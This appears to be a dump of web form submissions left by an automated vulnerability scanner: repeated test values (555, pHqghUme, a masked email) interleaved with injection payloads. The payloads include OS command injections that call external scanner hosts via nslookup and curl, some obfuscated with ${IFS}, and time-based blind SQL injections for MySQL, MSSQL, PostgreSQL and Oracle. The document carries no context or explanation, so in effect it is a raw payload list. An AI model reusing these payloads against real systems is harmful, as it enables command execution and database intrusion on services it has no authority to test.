555
(nslookup -q=cname hitorxvkacimgaf335.bxss.me||curl hitorxvkacimgaf335.bxss.me))
tes****@example.com
555
pHqghUme
tes****@example.com
555
$(nslookup -q=cname hitlmfnrdujcwc3834.bxss.me||curl hitlmfnrdujcwc3834.bxss.me)
tes****@example.com
555
pHqghUme
tes****@example.com
555
&nslookup -q=cname hitntkzsudioyfc213.bxss.me&'\"`0&nslookup -q=cname hitntkzsudioyfc213.bxss.me&`'
tes****@example.com
555
pHqghUme
tes****@example.com
555
&(nslookup -q=cname hitslghgscewb10684.bxss.me||curl hitslghgscewb10684.bxss.me)&'\"`0&(nslookup -q=cname hitslghgscewb10684.bxss.me||curl hitslghgscewb10684.bxss.me)&`'
tes****@example.com
555
pHqghUme
tes****@example.com
555
|(nslookup -q=cname hitkunsoipkvu9b8c7.bxss.me||curl hitkunsoipkvu9b8c7.bxss.me)
tes****@example.com
555
pHqghUme
tes****@example.com
555
`(nslookup -q=cname hitunlihtpkqva85c9.bxss.me||curl hitunlihtpkqva85c9.bxss.me)`
tes****@example.com
555
pHqghUme
tes****@example.com
555
;(nslookup -q=cname hitqhijqendiy90257.bxss.me||curl hitqhijqendiy90257.bxss.me)|(nslookup -q=cname hitqhijqendiy90257.bxss.me||curl hitqhijqendiy90257.bxss.me)&(nslookup -q=cname hitqhijqendiy90257.bxss.me||curl hitqhijqendiy90257.bxss.me)
tes****@example.com
555
pHqghUme
tes****@example.com
555
|(nslookup${IFS}-q${IFS}cname${IFS}hithrrjmrbtrf2580f.bxss.me||curl${IFS}hithrrjmrbtrf2580f.bxss.me)
tes****@example.com
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitysapjypjdt5a3f8.bxss.me||curl${IFS}hitysapjypjdt5a3f8.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitysapjypjdt5a3f8.bxss.me||curl${IFS}hitysapjypjdt5a3f8.bxss.me)&`'
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555*if(now()=sysdate(),sleep(15),0)
pHqghUme
tes****@example.com
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
pHqghUme
tes****@example.com
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
pHqghUme
tes****@example.com
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
pHqghUme
tes****@example.com
555-1; waitfor delay '0:0:15' --
pHqghUme
tes****@example.com
555-1); waitfor delay '0:0:15' --
pHqghUme
tes****@example.com
555-1 waitfor delay '0:0:15' --
pHqghUme
tes****@example.com
555RZ8VoCwn'; waitfor delay '0:0:15' --
pHqghUme
tes****@example.com
555-1 OR 739=(SELECT 739 FROM PG_SLEEP(15))--
pHqghUme
tes****@example.com
555-1) OR 617=(SELECT 617 FROM PG_SLEEP(15))--
pHqghUme
tes****@example.com
555-1)) OR 619=(SELECT 619 FROM PG_SLEEP(15))--
pHqghUme
tes****@example.com
55586b8lLV5' OR 515=(SELECT 515 FROM PG_SLEEP(15))--
pHqghUme
tes****@example.com
555UHTEdHgv') OR 734=(SELECT 734 FROM PG_SLEEP(15))--
pHqghUme
tes****@example.com
555n2I3HJVz')) OR 218=(SELECT 218 FROM PG_SLEEP(15))--
pHqghUme
tes****@example.com
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
pHqghUme
tes****@example.com
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
pHqghUme
tes****@example.com
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555'"
pHqghUme
tes****@example.com
@@QCqP1
pHqghUme
tes****@example.com
(select 198766*667891)
pHqghUme
tes****@example.com
(select 198766*667891 from DUAL)
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
if(now()=sysdate(),sleep(15),0)
555
pHqghUme
tes****@example.com0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
pHqghUme
tes****@example.com0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
pHqghUme
tes****@example.com-1 waitfor delay '0:0:15' --
555
pHqghUme
tes****@example.comgllXvjkL'; waitfor delay '0:0:15' --
555
pHqghUme
tes****@example.comfhQQgoFk' OR 99=(SELECT 99 FROM PG_SLEEP(15))--
555
pHqghUme
tes****@example.comdnfXuU0j') OR 599=(SELECT 599 FROM PG_SLEEP(15))--
555
pHqghUme
tes****@example.comZmriMuhr')) OR 966=(SELECT 966 FROM PG_SLEEP(15))--
555
pHqghUme
tes****@example.com'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
pHqghUme
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com'"
555
pHqghUme
@
555
pHqghUme
(select 198766*667891)
555
pHqghUme
(select 198766*667891 from DUAL)
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
if(now()=sysdate(),sleep(15),0)
tes****@example.com
555
pHqghUme0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
tes****@example.com
555
pHqghUme0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
tes****@example.com
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
tes****@example.com
555
pHqghUme-1 waitfor delay '0:0:15' --
tes****@example.com
555
pHqghUmeNr4nl2lL'; waitfor delay '0:0:15' --
tes****@example.com
555
pHqghUmeZa5mJlJn' OR 278=(SELECT 278 FROM PG_SLEEP(15))--
tes****@example.com
555
pHqghUmezJjtXosq') OR 562=(SELECT 562 FROM PG_SLEEP(15))--
tes****@example.com
555
pHqghUmertIV4bCT')) OR 155=(SELECT 155 FROM PG_SLEEP(15))--
tes****@example.com
555
pHqghUme'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
tes****@example.com
555
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme'"
tes****@example.com
555
@@frwTc
tes****@example.com
555
(select 198766*667891)
tes****@example.com
555
(select 198766*667891 from DUAL)
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
pHqghUme
tes****@example.com
555
